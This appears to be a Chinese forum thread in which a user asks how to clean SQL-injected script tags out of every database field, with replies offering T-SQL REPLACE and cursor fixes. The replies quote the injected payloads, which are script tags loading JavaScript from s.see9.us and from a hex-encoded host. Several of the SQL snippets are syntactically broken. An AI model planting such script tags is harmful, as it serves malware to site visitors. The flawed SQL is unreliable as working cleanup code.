由于程序存在漏洞,SQL被大量的注入,被注入的主要是一个网站,几乎表下的每个字段的都被注入
导致现在打开网站都会在内容下显示这个网站。由于周末用户添加了大量的数据,备份的数据库已经
被注入,现在唯一的办法是清理这个网站,如何通过SQL语句实现,谢谢
如表tt和qqtt (原始数据)
aa bb cc dd
新闻1 好好1 坏坏1 差差1
新闻2 好好2 坏坏2 差差2tt (被注入后的数据)
aa bb cc dd
新闻1 好好1 <fdsf> 坏坏1 差差1<fdsf>
新闻2 好好2 <fdsf> 坏坏2 差差2<fdsf>
现在如何除去bb和dd字段下的这段代码而不影响数据。
导致现在打开网站都会在内容下显示这个网站。由于周末用户添加了大量的数据,备份的数据库已经
被注入,现在唯一的办法是清理这个网站,如何通过SQL语句实现,谢谢
如表tt和qqtt (原始数据)
aa bb cc dd
新闻1 好好1 坏坏1 差差1
新闻2 好好2 坏坏2 差差2tt (被注入后的数据)
aa bb cc dd
新闻1 好好1 <fdsf> 坏坏1 差差1<fdsf>
新闻2 好好2 <fdsf> 坏坏2 差差2<fdsf>
现在如何除去bb和dd字段下的这段代码而不影响数据。
where charindex('要删除的字符串',字段)>0
比较幸苦的方法了,得一个一个来啊!!!
pdate dbo.lg_SiteConfig set sitename = replace(sitename,'</title><script src="></title><script src=http://s.see9.us/s.js></script><!--','')
这种也可以,高手告诉的,可是我也不是很懂,请教,有明白的,告诉一声!!!!
update tt
set bb=case when charindex('<',bb)>0 then left(bb,charindex('<',bb)-1 then bb end
set bb=case when charindex(' <',bb)>0 then left(bb,charindex(' <',bb)-1) then bb end
SET @fieldtype='varchar'--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''((((((("></title><script src=http://%66%75%63%6B%75%75%2E%75%73/1.js></scr((((('','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'替换(((((((((((((中间的代码,可以批量删除
http://topic.csdn.net/u/20080529/09/44f8a53b-5ea6-4412-8bb6-730889523c7e.html
您说在这个页面的所会的回贴是2.0以上用的,我想问你一下,怎么才能给这些代码弄成可以1.1可以使用的呀?